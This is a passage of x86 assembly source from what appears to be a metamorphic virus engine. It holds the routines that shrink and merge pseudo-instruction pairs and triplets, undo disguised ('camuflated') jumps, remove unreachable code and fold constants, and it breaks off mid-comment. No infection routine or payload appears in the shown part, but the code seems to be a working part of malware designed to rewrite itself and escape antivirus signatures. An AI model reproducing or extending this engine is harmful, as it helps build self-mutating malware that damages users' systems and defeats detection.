                cmp     al, [edi+1]
                jnz   @@Double_End
        @@Double_Next17_NEGReg_2:
                test    ebx, 2
                jz    @@Double_Next17_Get32
                xor     eax, eax
                mov     al, [edi+7]
                cmp     eax, 80h
                jb    @@Double_Next17_Cont00
                add     eax, 0FFFFFF00h
                jmp   @@Double_Next17_Cont00
        @@Double_Next17_Get32:
                mov     eax, [edi+7]
        @@Double_Next17_Cont00:
                cmp     eax, edx
                jnz   @@Double_End
                mov     eax, ebx  ; NEG
                jmp   @@Double_Next_SetInstruction
        @@Double_Next17_ADDReg:
                mov     eax, [esi+1]
                cmp     al, [edi+1]
                jnz   @@Double_End
        @@Double_Next17_ADDReg_2:
                mov     eax, edx
                mov     [esi+7], eax
                mov     eax, ecx
                jmp   @@Double_Next_SetInstruction

      @@Double_Next18:
                ;mov     al, [esi]
                cmp     eax, 0E2h  ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1
                jnz   @@Double_Next19
                mov     ebx, 0E6h
                mov     ecx, 80h
                mov     edx, 1     ; If so, set ADD Reg8,1/NEG Reg8
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next19:
                ;mov     al, [esi]
                cmp     eax, 0E4h  ; NEG Reg + NOT Reg/ADD Reg,-1?
                jnz   @@Double_Next20
                mov     ebx, 0E0h
                xor     ecx, ecx
                mov     edx, -1    ; If so, set ADD Reg,-1/NOT Reg
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next20:
                ;mov     al, [esi]
                cmp     eax, 0E6h  ; NEG Reg8 + NOT Reg8/ADD Reg8,-1?
                jnz   @@Double_Next21
                mov     ebx, 0E2h
                mov     ecx, 80h
                mov     edx, -1    ; Set ADD Reg8,-1/NOT Reg8
                jmp   @@Double_Next_Check_NOT_OP

      @@Double_Next21:
                cmp     eax, 0E1h  ; NOT Mem + NEG Mem/ADD Mem,1?
                jnz   @@Double_Next22
                mov     ebx, 0E5h
                mov     ecx, 4
                mov     edx, 1     ; Then, set ADD Mem,1/NEG Mem
        @@Double_Next_Check_NOT_OP_Mem:
                xor     eax, eax
                mov     al, [edi]
                cmp     eax, ebx
                jz    @@Double_Next21_ADDMem
                cmp     eax, ecx
                jnz   @@Double_End
        @@Double_Next21_NEGMem:
                mov     eax, [esi+1] ; Check if operands are the same
                cmp     eax, [edi+1]
                jnz   @@Double_End
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_End
                xor     eax, eax
                jmp   @@Double_Next17_NEGReg_2
        @@Double_Next21_ADDMem:
                mov     eax, [esi+1]  ; Check NOT/NEG + ADD,1/-1
                cmp     eax, [edi+1]
                jnz   @@Double_End
                mov     eax, [esi+3]
                cmp     eax, [edi+3]
                jnz   @@Double_End
                xor     eax, eax
                jmp   @@Double_Next17_ADDReg_2

      @@Double_Next22:
                cmp     eax, 0E3h     ; NOT Mem8 + NEG Mem8/ADD Mem,1?
                jnz   @@Double_Next23
                mov     ebx, 0E7h
                mov     ecx, 84h
                mov     edx, 1        ; Set ADD Mem8,1/NEG Mem8
                jmp   @@Double_Next_Check_NOT_OP_Mem

      @@Double_Next23:
                cmp     eax, 0E5h     ; NEG Mem + NOT Mem/ADD Mem,-1?
                jnz   @@Double_Next24
                mov     ebx, 0E1h
                mov     ecx, 4
                mov     edx, -1       ; Set ADD Mem,-1/NOT Mem
                jmp   @@Double_Next_Check_NOT_OP_Mem

      @@Double_Next24:
                cmp     eax, 0E7h     ; NEG Mem8 + NOT Mem8/ADD Mem8,-1?
                jnz   @@Double_Next25
                mov     ebx, 0E3h
                mov     ecx, 84h
                mov     edx, -1       ; Set ADD Mem8,-1/NOT Mem8
                jmp   @@Double_Next_Check_NOT_OP_Mem


; Next four conditions are also disabled. They would work theorically, but they
; don't in practice :/
      @@Double_Next25:
;                 cmp     eax, 38h
;                 jb    @@Double_Next26
;                 cmp     eax, 3Ch
;                 ja    @@Double_Next26
;         @@Double_Next_CheckComparision:
;                 mov     al, [edi]
;                 cmp     eax, 70h
;                 jb    @@Double_Next_NoComparision
;                 cmp     eax, 7Fh
;                 jbe   @@Double_End
;       @@Double_Next_NoComparision:
;                 jmp   @@Double_Next_SetNOPAt1st

      @@Double_Next26:
;                 ;mov     al, [esi]
;                 cmp     eax, 38h+80h
;                 jb    @@Double_Next27
;                 cmp     eax, 3Ch+80h
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next27:
;                 ;mov     al, [esi]
;                 cmp     eax, 48h
;                 jb    @@Double_Next28
;                 cmp     eax, 4Ch
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next28:
;                 ;mov     al, [esi]
;                 cmp     eax, 48h+80h
;                 jb    @@Double_Next29
;                 cmp     eax, 4Ch+80h
;                 jbe   @@Double_Next_CheckComparision

      @@Double_Next29:
                cmp     eax, 0EAh   ; CALL Mem + MOV Mem,EAX?
                jnz   @@Double_Next30_
        @@Double_Next29_CheckAPICALL_STORE:
                mov     al, [edi]
                cmp     eax, 43h
                jnz   @@Double_End
                mov     al, [edi+7] ; Check EAX
                or      eax, eax
                jnz   @@Double_End
                mov     eax, 0F6h
                mov     [edi], al   ; Set APICALL_STORE
                xor     eax, eax
                mov     [edi+7], eax  ; If we put 0 here we can treat this as
                jmp   @@EndCompressed ; an special opcode 43h (MOV Mem,Reg)
                
      @@Double_Next30_:

      @@Double_Next30:
                cmp     eax, 0ECh   ; Check CALL Reg + MOV Mem,EAX?
                jz    @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE

      @@Double_Next31:
                cmp     eax, 42h    ; MOV Reg,Mem?
                jnz   @@Double_Next32
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 20h    ; MOV Reg,Mem + AND Reg,0FF?
                jz    @@Double_Next31_MaybeMOVZX ; Set MOVZX
                mov     al, [esi+7]
                cmp     eax, 2      ; EAX,ECX,EDX? (it only uses these three)
                ja    @@Double_Next32
                cmp     al, [edi+1]
                jnz   @@Double_Next32
                mov     al, [edi]
                cmp     eax, 0ECh   ; CALL Reg?
                jnz   @@Double_Next32
                sub     eax, 2      ; MOV Reg,Mem + CALL Reg = CALL Mem
                jmp   @@Double_Next_SetInstruction
      @@Double_Next31_MaybeMOVZX:
                mov     eax, [edi+7] ; Check MOVZX. We check if the destiny
                cmp     eax, 0FFh    ; registers are the same one
                jnz   @@Double_Next32
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     ebx, [edi+1]
                and     ebx, 0FFh
                cmp     eax, ebx
                jnz   @@Double_Next32
                mov     eax, [esi+1]
                and     eax, 0FFh   ; MOV Reg,[Reg]?
                cmp     eax, ebx
                jz    @@Double_Next32
                mov     eax, [esi+2]
                and     eax, 0Fh
                cmp     eax, ebx
                jz    @@Double_Next32
                mov     eax, 0F8h    ; Set MOVZX Reg,byte ptr Mem
                jmp   @@Double_Next_SetInstruction


      @@Double_Next32:
                xor     eax, eax
                mov     al, [esi]
                cmp     eax, 39h     ; CMP Reg,Reg?
                jnz   @@Double_Next33
        @@Double_Next32_Common:
                mov     al, [edi]
                cmp     eax, 70h     ; CMP Reg,Reg + Jcc @xxx?
                jb    @@Double_End
                cmp     eax, 7Fh
                ja    @@Double_End
                mov     al, [esi+1]
                mov     ebx, eax     ; If source and destiny in CMP aren't
                mov     al, [esi+7]  ; the same, it's not a camuflated JMP
                cmp     eax, ebx
                jnz   @@Double_End

                mov     eax, [edi]   ; Check flags when we jump for sure
                and     eax, 07h     ; and when the two instructions do
                cmp     eax, 1       ; nothing.
                jz    @@Double_Next32_JMP
                cmp     eax, 6
                jz    @@Double_Next32_JMP
                mov     eax, [edi]
                and     eax, 0Fh
                cmp     eax, 2
                jbe   @@Double_Next32_NOP
                cmp     eax, 4
                jbe   @@Double_Next32_JMP
                cmp     eax, 0Ah
                jz    @@Double_Next32_JMP
                cmp     eax, 0Dh
                jz    @@Double_Next32_JMP
        @@Double_Next32_NOP:
                mov     eax, 0FFh   ; Set NOP in JO,JB,JNZ,JA,JS,JNP,JL,JG
                mov     [edi], eax
                jmp   @@EndCompressed
        @@Double_Next32_JMP:
                mov     eax, 0E9h   ; Set JMP in JNO,JAE,JZ,JBE,JNS,JP,JGE,JLE
                mov     [edi], al
                mov     edx, edi
 ; After the jump, we eliminate all the instructions until the next labelled
 ; instruction. That instructions are never executed, so we NOP them to avoid
 ; its reassembly.
        @@Double_Next32_EliminateNonReachableCode:
                add     edx, 10h
                cmp     edx, [ebp+AddressOfLastInstruction]
                jae   @@EndCompressed
                mov     al, [edx+0Bh]  ; Check label mark
                or      eax, eax
                jnz   @@EndCompressed
                mov     eax, 0FFh
                mov     [edx], eax
                jmp   @@Double_Next32_EliminateNonReachableCode


      @@Double_Next33:
                cmp     eax, 39h+80h   ; Do the same with CMP Reg8,Reg8
                jz    @@Double_Next32_Common

      @@Double_End:


 ;; Here we check triplets of instructions and merge them into one.
      @@Check_Triple:
                mov     edx, esi
                mov     esi, edi
                call    IncreaseEIP
                cmp     edi, [ebp+AddressOfLastInstruction]
                jz    @@EndNoCompressed
                xor     eax, eax
                mov     al, [edi+0Bh]
                or      eax, eax
                jnz   @@EndNoCompressed ; No compress if a label is pointing
                                        ; the last instruction
                ; Check triplet in [edx],[esi],[edi]

      @@Triple_Next00:
                ;xor     eax, eax
                mov     al, [edx]
                cmp     eax, 43h       ; MOV Mem,Reg?
                jnz   @@Triple_Next01
                mov     eax, [edx+1]   ; Check mem operands
                cmp     eax, [esi+1]
                jnz   @@Triple_Next01
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_Next01
                mov     eax, [edi]
                cmp     al, 42h        ; 3rd instruction == MOV Reg,Mem?
                jz    @@Triple_Next00_Constr00
                cmp     al, 70h        ; 3rd instr. == Jcc?
                jb    @@Triple_Next01
                cmp     al, 7Fh
                ja    @@Triple_Next01
                mov     eax, [esi]
                and     eax, 0F8h      ; Get the comparision
                or      eax, eax
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 28h       ; SUB?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 38h       ; CMP?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 48h       ; TEST?
                jz    @@Triple_Next00_Maybe01
                cmp     eax, 20h       ; AND?
                jnz   @@Triple_End
        @@Triple_Next00_Maybe01:
                xor     ebx, ebx
        @@Triple_Next00_CheckCMPTEST:
                mov     eax, [esi]     ; Get the operation being performed
                and     eax, 07Fh
                cmp     eax, 48h       ; If test, jump
                jb    @@Triple_Next00_CheckCMPTEST_00
                and     eax, 7
                cmp     eax, 2         ; Check if it's OP Reg,Mem
                jz    @@Triple_Next00_CMPTESTRegReg
                jmp   @@Triple_Next00_CheckCMPTEST_01
        @@Triple_Next00_CheckCMPTEST_00:
                and     eax, 7
                cmp     eax, 3         ; Check if it's OP Mem,Reg
                jz    @@Triple_Next00_CMPTESTRegReg
        @@Triple_Next00_CheckCMPTEST_01:
                cmp     eax, 4         ; Check if it's OP Mem,Imm
                jnz   @@Triple_End
        @@Triple_Next00_CMPTESTRegImm:
                mov     eax, [edx+7]
                mov     [esi+1], al    ; Set CMP/TEST Reg,Imm
              ;  xor     ebx, ebx
        @@Triple_Next00_SET_CMPTEST:
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 48h       ; Check TEST
                jz    @@Triple_Next00_SetInstruction
                cmp     eax, 20h       ; Check AND
                jz    @@Triple_Next00_Cont80
                cmp     eax, 38h       ; Check CMP
                jz    @@Triple_Next00_SetInstruction
                or      eax, eax       ; Check ADD (maybe is a conversion
                jz    @@Triple_Next00_NegateImm  ; of SUB Reg,Imm)
        @@Triple_Next00_SetCMP:
                mov     eax, 38h       ; Set CMP if it's SUB/CMP
                jmp   @@Triple_Next00_SetInstruction
        @@Triple_Next00_NegateImm:
                mov     eax, [esi+7]
                neg     eax           ; If it's ADD is because I converted the
                mov     [esi+7], eax  ; SUB as a single instruction before
                jmp   @@Triple_Next00_SetCMP
        @@Triple_Next00_Cont80:
                mov     eax, 48h      ; Set TEST if it's TEST/AND
        @@Triple_Next00_SetInstruction:
                add     eax, ebx
                mov     [esi], al
                mov     eax, 0FFh
                mov     [edx], al
                jmp   @@EndCompressed
        @@Triple_Next00_CMPTESTRegReg:
                mov     eax, [esi]
                and     eax, 78h
                or      eax, eax     ; ADD?
                jz    @@Triple_End   ; If so, finish
                mov     eax, [esi+7]
                mov     [esi+1], al
                mov     eax, [edx+7]
                mov     [esi+7], al
                add     ebx, 1
                jmp   @@Triple_Next00_SET_CMPTEST
        @@Triple_Next00_Constr00:
                mov     eax, [esi]
                cmp     al, 4Ch      ; Common OP?
                ja    @@Triple_Next01
                xor     ebx, ebx
        @@Triple_Next00_Common:
                mov     eax, [esi]
                and     eax, 78h     ; Get instruction
                cmp     eax, 48h     ; If it's not TEST, finish
                jb    @@Triple_Next00_Common_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2       ; Check TEST Reg,Mem
                jz    @@Triple_Next00_Maybe00
                jmp   @@Triple_Next00_Common_01
        @@Triple_Next00_Common_00:
                mov     eax, [esi]
                and     al, 7
                cmp     al, 3        ; Check OP Mem,Reg
                jz    @@Triple_Next00_Maybe00
        @@Triple_Next00_Common_01:
                cmp     al, 4        ; Check OP Mem,Imm
                jnz   @@Triple_End
        @@Triple_Next00_Maybe00:
                mov     eax, [edx+1]       ; Check the Mem operand among the
                cmp     eax, [esi+1]       ; instructions
                jnz   @@Triple_End
                cmp     eax, [edi+1]
                jnz   @@Triple_End
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                mov     eax, [edx+7]
                cmp     al, [edi+7]
                jnz   @@Triple_End
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 48h           ; Get if it's TEST
                jb    @@Triple_Next00_00
                mov     eax, [esi]
                and     eax, 7             ; Check TEST Reg,Mem
                cmp     eax, 2
                jz    @@Triple_Next00_Maybe_OPRegReg ; Jump here if it is
                jmp   @@Triple_Next00_01
        @@Triple_Next00_00:
                mov     eax, [esi]
                and     eax, 7             ; Check OP Mem,Reg
                cmp     eax, 3
                jz    @@Triple_Next00_Maybe_OPRegReg
        @@Triple_Next00_01:
                mov     eax, [edx+7]
                mov     [edx+1], al
                mov     eax, [esi+7]
                mov     [edx+7], eax
                mov     eax, [esi]
                and     eax, 78h
                add     eax, ebx      ; Set the instruction with the EBX
        @@Triple_Next_SetInstruction: ; operands type (Reg,Imm, Reg,Reg, etc.)
                mov     [edx], al
        @@Triple_Next_SetNOP:
                mov     eax, 0FFh
                mov     [esi], al
                mov     [edi], al    ; Eliminate the 2nd and 3rd instruction
                jmp   @@EndCompressed
        @@Triple_Next00_Maybe_OPRegReg:
                mov     eax, [esi+7]
                mov     [edx+1], eax
                mov     eax, [edi+7]
                mov     [edx+7], eax
                mov     eax, [esi]
                and     eax, 0F8h    ; Set CMP/TEST Reg,Reg
                add     eax, 1
                jmp   @@Triple_Next_SetInstruction


      @@Triple_Next01:
                mov     eax, [edx]
                cmp     al, 43h+80h    ; Check the same as above, but this
                jnz   @@Triple_Next02  ; time with 8 bits instructions. Since
                mov     eax, [edx+1]   ; there are many different opcodes,
                cmp     eax, [esi+1]   ; it's not worthy to try to merge it
                jnz   @@Triple_Next02  ; with the routine above, but all the
                mov     eax, [edx+3]   ; others that check the possibility of
                cmp     eax, [esi+3]   ; compression are from there, linking
                jnz   @@Triple_Next02  ; the possibilities with Jccs.
                mov     eax, [edi]
                cmp     al, 42h+80h
                jz    @@Triple_Next01_Constr00
                cmp     al, 70h
                jb    @@Triple_Next02
                cmp     al, 7Fh
                ja    @@Triple_Next02
                mov     eax, [esi]
                and     eax, 0F8h
                cmp     eax, 00h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 28h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 38h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 48h+80h
                jz    @@Triple_Next01_Maybe01
                cmp     eax, 20h+80h
                jnz   @@Triple_End
        @@Triple_Next01_Maybe01:
                mov     ebx, 80h
                jmp   @@Triple_Next00_CheckCMPTEST
        @@Triple_Next01_Constr00:
                mov     ebx, 80h
                mov     eax, [esi]
                cmp     al, 4Ch+80h
                ja    @@Triple_Next02     ; Well, at least we achieved to
                cmp     al, 00h+80h       ; use as many instructions from the
                jae   @@Triple_Next00_Common ; @@Triple_Next00 as we can :)


      @@Triple_Next02:
                mov     eax, [edx]
                cmp     al, 4Fh           ; MOV Mem,Mem?
                jnz   @@Triple_Next03
                mov     eax, [edi]
                cmp     al, 70h           ; Jcc in 3rd?
                jb    @@Triple_Next02_ContCheck
                cmp     al, 7Fh
                ja    @@Triple_Next02_ContCheck
                mov     ebx, [edx+7]      ; Get the destiny address and check
                mov     eax, [ebx+1]      ; if first and second instruction
                cmp     eax, [esi+1]      ; use the same operand.
                jnz   @@Triple_End
                mov     eax, [ebx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                mov     eax, [esi]
                and     eax, 78h          ; Check for comparisions:
                cmp     eax, 20h          ; AND?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 28h          ; SUB?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 38h          ; CMP?
                jz    @@Triple_Next02_CheckCMPTESTMemReg
                cmp     eax, 48h          ; TEST?
                jnz   @@Triple_Next03
        @@Triple_Next02_CheckCMPTESTRegMem:
        @@Triple_Next02_CheckCMPTESTMemReg:
                mov     eax, [edx+1]
                mov     [esi+1], eax
                mov     eax, [edx+3]
                mov     [esi+3], eax
                mov     eax, 0FFh
                mov     [edx], eax
                mov     eax, [esi]
                and     eax, 78h
                cmp     eax, 38h          ; CMP?
                jz    @@EndCompressed
                cmp     eax, 48h          ; TEST?
                jz    @@EndCompressed
                cmp     eax, 20h          ; AND?
                jz    @@Triple_Next02_SetTEST
                mov     ebx, 10h          ; Transform from SUB to CMP
        @@Triple_Next02_ConvertInstruction:
                mov     eax, [esi]        ; Set the instruction
                add     eax, ebx
                mov     [esi], eax
                jmp   @@EndCompressed
        @@Triple_Next02_SetTEST:
                mov     ebx, 28h          ; Transform from AND to TEST
                jmp   @@Triple_Next02_ConvertInstruction
        @@Triple_Next02_ContCheck:
                ;mov     al, [edi]
                cmp     al, 4Fh           ; Check the 3rd instruction for a
                jnz   @@Triple_Next03     ; common operation
                mov     eax, [esi]
                cmp     al, 4Ch           ; Check now the 2nd instruction
                jbe   @@Triple_Next02_CommonOperation
                cmp     al, 00h+80h       ; Check if it's 8 bits instructions
                jb    @@Triple_Next03
                cmp     al, 4Ch+80h
                ja    @@Triple_Next03
        @@Triple_Next02_CommonOperation:
;                 cmp     eax, 0FBh
;                 jz    @@Triple_Next02_OPMemReg
                cmp     eax, 0F6h         ; Check for APICALL_STORE
                jz    @@Triple_Next02_OPMemReg
                and     eax, 78h
                cmp     eax, 48h          ; Check for a common instruction
                jb    @@Triple_Next02_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2            ; Check if it's OP Reg,Mem in 2nd
                jz    @@Triple_Next02_OPMemReg
                jmp   @@Triple_Next02_01
        @@Triple_Next02_00:
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 3            ; Check if it's OP Mem,Reg in 2nd
                jz    @@Triple_Next02_OPMemReg
        @@Triple_Next02_01:
                cmp     eax, 4            ; OP Mem,Imm?
                jnz   @@Triple_End
        @@Triple_Next02_OPMemImm:
        @@Triple_Next02_OPMemReg:
                mov     ebx, [edx+7]
                mov     eax, [ebx+1]
                cmp     eax, [edi+1]      ; Check Mem operands to see if the
                jnz   @@Triple_End        ; instructions use the same one (if
                cmp     eax, [esi+1]      ; not, we can't compress them,
                jnz   @@Triple_End        ; obviously)
                mov     eax, [ebx+3]
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                mov     ebx, [edi+7]
                mov     eax, [ebx+1]
                cmp     eax, [edx+1]
                jnz   @@Triple_End
                mov     eax, [ebx+3]
                cmp     eax, [edx+3]
                jnz   @@Triple_End
                mov     eax, [edx+1]      ; Set the new Mem operand
                mov     [esi+1], eax
                mov     eax, [edx+3]
                mov     [esi+3], eax
        @@Triple_Next_SetNOP_1_3:
                mov     eax, 0FFh
                mov     [edx], al
                mov     [edi], al         ; Overwrite with NOP the first and
                jmp   @@EndCompressed     ; third instruction, since we used
                                          ; the second one to put the new
                                          ; instruction.
      @@Triple_Next03:
                mov     eax, [edx]
                cmp     al, 44h           ; Check for MOV Mem,Imm
                jnz   @@Triple_Next04
                mov     eax, [edi]
                cmp     al, 42h           ; MOV Mem,Imm + xxx + MOV Reg,Mem?
                jz    @@Triple_Next03_Constr00
                cmp     al, 70h           ; Jcc in 3rd?
                jb    @@Triple_Next04
                cmp     al, 7Fh
                ja    @@Triple_Next04
                mov     eax, [esi]
        @@Triple_Next03_Check_CMP_TEST:
                cmp     al, 3Ah           ; CMP Reg,Mem (8 or 32 bits)
                jz    @@Triple_Next03_CMPRegImm
                cmp     al, 4Ah           ; TEST Reg,Mem (" " " ")
                jnz   @@Triple_End
        @@Triple_Next03_CMPRegImm:
        @@Triple_Next03_TESTRegImm:
                mov     eax, [esi]        ; Get 2nd instruction
                and     eax, 0F8h         ; Convert it to OP Reg,Imm
                mov     [edx], al         ; Set it at 1st instruction
                mov     eax, [esi+7]
                mov     [edx+1], al
                mov     eax, 0FFh
                mov     [esi], al
                jmp   @@EndCompressed
        @@Triple_Next03_Constr00:
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 0F6h         ; Check if it's APICALL_STORE
                jz    @@Triple_Next03_Common_F6
;                 cmp     eax, 0FBh
;                 jz    @@Triple_Next03_Common_F6
                cmp     eax, 4Ch           ; Check if it's a common operation
                ja    @@Triple_Next04
        @@Triple_Next03_Common:
                and     eax, 78h
                cmp     eax, 48h          ; Common operation?
                jb    @@Triple_Next03_00
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 2            ; Check if it's OP Reg,Mem
                jz    @@Triple_Next03_Common_F6
                jmp   @@Triple_End
        @@Triple_Next03_00:
                mov     eax, [esi]
                and     eax, 7
                cmp     eax, 3            ; OP Mem,Reg?
                jnz   @@Triple_End
        @@Triple_Next03_Common_F6:
                mov     eax, [edx+1]      ; If the Mem operands are the same,
                cmp     eax, [esi+1]      ; merge them
                jnz   @@Triple_End
                cmp     eax, [edi+1]
                jnz   @@Triple_End
                mov     eax, [edx+3]
                cmp     eax, [esi+3]
                jnz   @@Triple_End
                cmp     eax, [edi+3]
                jnz   @@Triple_End
                mov     eax, [esi+7]
                mov     [edx+1], eax
                mov     eax, [esi]
                and     eax, 0F8h
                jmp   @@Triple_Next_SetInstruction


      @@Triple_Next04:
                mov     eax, [edx]
                cmp     al, 44h+80h    ; Same as above, but 8 bits instructs.
                jnz   @@Triple__Next04
                mov     eax, [edi]
                cmp     al, 42h+80h
                jz    @@Triple_Next04_Constr00
                cmp     al, 70h
                jb    @@Triple__Next04
                cmp     al, 7Fh
                ja    @@Triple__Next04
                mov     eax, [esi]
                sub     al, 80h
                jmp   @@Triple_Next03_Check_CMP_TEST
        @@Triple_Next04_Constr00:
                mov     eax, [esi]
                cmp     al, 00h+80h
                jb    @@Triple__Next04
                cmp     al, 4Ch+80h
                jbe   @@Triple_Next03_Common

      @@Triple__Next04:


      @@Triple_End:
                jmp   @@EndNoCompressed  ; If we didn't found any single,
                                         ; pair or triplet, end with flag of
      @@EndCompressed:                   ; "not found"
                mov     eax, 1
                pop     edi
                ret
      @@EndNoCompressed:
                xor     eax, eax
                pop     edi
                ret
ShrinkThisInstructions endp

;; This routine checks if the pseudoopcode passed uses a memory operand,
;; returning EAX = 1 if uses it, or 0 if it doesn't
CheckIfInstructionUsesMem proc
                cmp     eax, 4Eh  ; Common op?
                jbe   @@Common
                cmp     eax, 4Fh  ; MOV Mem,Mem --> return TRUE
                jz    @@UsesMem
                cmp     eax, 70h  ; If 50/51/58/59 --> return bit 0
                jb    @@CheckLastBit
                cmp     eax, 80h  ; Common 8 bits operations?
                jb    @@NoMem
                cmp     eax, 0CEh
                jbe   @@Common
                cmp     eax, 0E7h ; From E0 to E7 (NOT/NEG) -> return bit 0
                jbe   @@CheckLastBit
                cmp     eax, 0EAh ; CALL Mem?
                jz    @@UsesMem
                cmp     eax, 0EBh ; JMP Mem?
                jz    @@UsesMem
                cmp     eax, 0F1h ; SHIFT Mem?
                jz    @@UsesMem
                cmp     eax, 0F3h ; SHIFT Mem8?
                jz    @@UsesMem
                cmp     eax, 0F6h ; APICALL_STORE?
                jz    @@UsesMem
                cmp     eax, 0FBh
                jz    @@UsesMem
                cmp     eax, 0F7h
                jz    @@UsesMem
                cmp     eax, 0F8h ; MOVZX Reg,byte ptr [Mem]?
                jz    @@UsesMem
                cmp     eax, 0FCh ; LEA?
                jz    @@UsesMem
       @@NoMem: xor     eax, eax  ; Return FALSE
                ret
       @@CheckLastBit:
                and     eax, 1    ; Return bit 0
                ret
       @@Common:
                cmp     eax, 4Eh  ; Temporal info-transferring opcode
                jz    @@UsesMem
                and     eax, 7
                cmp     eax, 2
                jb    @@NoMem
                cmp     eax, 4    ; OP Reg,Mem / OP Mem,Reg / OP Mem,Imm?
                ja    @@NoMem     ; If not, return FALSE
       @@UsesMem:
                mov     eax, 1
                ret
CheckIfInstructionUsesMem endp

;; This function merges the Imms passed in ECX and EDX depending on the
;; operations passed in EBX and EAX. The return values are the result of
;; merging the operations. For example, if we pass MOV EAX,1234 / ADD EAX,5
;; then the returned operation will be MOV EAX,1239. It's also made for
;; ADD + ADD/SUB and many more. If the operation can't be joined then the
;; return value is 0FEh. If there are no merging, but the first instruction
;; does nothing (for example, ADD EAX,1234 / MOV EAX,5 --> MOV EAX,5) then
;; the return value is NOP.
; In:
;; ECX = First Imm
;; EDX = 2nd Imm
;; EAX = First OP
;; EBX = 2nd OP (in lower 8 bits)
; Out:
;; ECX = Value to OP
;; EAX = OP to perform
;;      FEh if it isn't shrinkable.
;;      FFh if we must eliminate 1st instruction and leave 2nd invariable.
CalculateOperation proc
;; ADC & SBB aren't treated since they aren't used by the engine.
                and     ebx, 0FFh
                and     eax, 0FFh
                cmp     ebx, 40h   ; If 2nd instruction is MOV, eliminate 1st
                jz    @@Eliminate1st
                cmp     eax, 40h   ; First instruction == MOV?
                jz    @@MOV        ; Then, do the merge
                or      eax, eax   ; ADD?
                jz    @@ADD
                cmp     eax, 8     ; OR?
                jz    @@OR
                cmp     eax, 20h   ; AND?
                jz    @@AND
                cmp     eax, 28h   ; SUB?
                jz    @@SUB
                cmp     eax, 30h   ; XOR?
                jz    @@XOR
                cmp     eax, 38h   ; CMP
                jz    @@Eliminate1st
                cmp     eax, 48h   ; TEST
                jnz   @@Eliminate1st
                jmp   @@NoCompression

     ; Check a merging with the ADD as first instruction
     @@ADD:     or      ebx, ebx  ; 2nd instr. ADD?
                jz    @@ADD_ADD   ; Then, merge
                cmp     ebx, 28h  ; 2nd instr. SUB?
                jz    @@ADD_SUB   ; Then, merge
                jmp   @@NoCompression  ; Exit with no compression

     ; Try the merging with OR
     @@OR:      cmp     ebx, 8    ; 2nd instruction == OR?
                jz    @@OR_OR     ; Merge OR / OR
                jmp   @@NoCompression  ; Exit with no compression

     @@AND:     cmp     ebx, 20h  ; Check AND / AND
                jz    @@AND_AND   ; If it is, merge ANDs
                jmp   @@NoCompression  ; Exit with no compression

     @@SUB:     or      ebx, ebx  ; Check SUB / ADD or SUB / SUB
                jz    @@SUB_ADD
                cmp     ebx, 28h
                jnz   @@NoCompression  ; Exit with no compression
     @@SUB_SUB: neg     ecx       ; Merge the SUBs into a single operation:
                sub     ecx, edx  ; -(1st) - 2nd = ADD Imm
                xor     eax, eax
                ret
     @@SUB_ADD: sub     edx, ecx  ; 2nd - 1st = ADD Imm
                mov     ecx, edx
                xor     eax, eax
                ret

     @@XOR:     cmp     ebx, 30h  ; XOR / XOR?
                jz    @@XOR_XOR   ; Then merge XORs
                jmp   @@NoCompression ; If it's not XOR, don't merge

     @@MOV:     or      ebx, ebx  ; MOV / ADD?
                jz    @@MOV_ADD
                cmp     ebx, 8    ; MOV / OR?
                jz    @@MOV_OR
                cmp     ebx, 20h  ; MOV / AND?
                jz    @@MOV_AND
                cmp     ebx, 28h  ; MOV / SUB?
                jz    @@MOV_SUB
                cmp     ebx, 30h  ; MOV / XOR?
                jz    @@MOV_XOR
     @@NoCompression:
                mov     eax, 0FEh ; Set "no compression" return value
                ret
     @@Eliminate1st:
                mov     eax, 0FFh ; Set NOP to first instruction (and leave the
                ret               ; second instruction untouched)

     @@ADD_ADD:
     @@MOV_ADD: add     ecx, edx  ; MOV + ADD or ADD + ADD = Add both Imms
                ret
     @@OR_OR:                     ; MOV + OR or OR + OR = OR both Imms
     @@MOV_OR:  or      ecx, edx
                ret
     @@AND_AND:                   ; MOV + AND or AND + AND = AND both Imms
     @@MOV_AND: and     ecx, edx
                ret
     @@ADD_SUB:                   ; MOV + SUB or ADD + SUB = SUB 2nd Imm from
     @@MOV_SUB: sub     ecx, edx  ; first Imm
                ret
     @@XOR_XOR:                   ; MOV + XOR or XOR + XOR = XOR both Imms
     @@MOV_XOR: xor     ecx, edx
                ret
CalculateOperation endp

;; This function merges two flag checks (like JNZ/JA, for example) to get a
;; direct check to use in a conditional jump.
;; In:
;;  EAX = Flag to check 1
;;  EBX = Flag to check 2
;; Out:
;;  EAX = Direct flag (+70h = 7xh, opcode of Jcc)
;;      = 79h if unconditional jump is performed (+70h = E9h, opcode of JMP)
;;      = 0FFh if no direct flag can be used
;; This function only tests the flags that are coded by this engine (not all
;; the possible types).
;;
;; Checks can be merged as:
;;
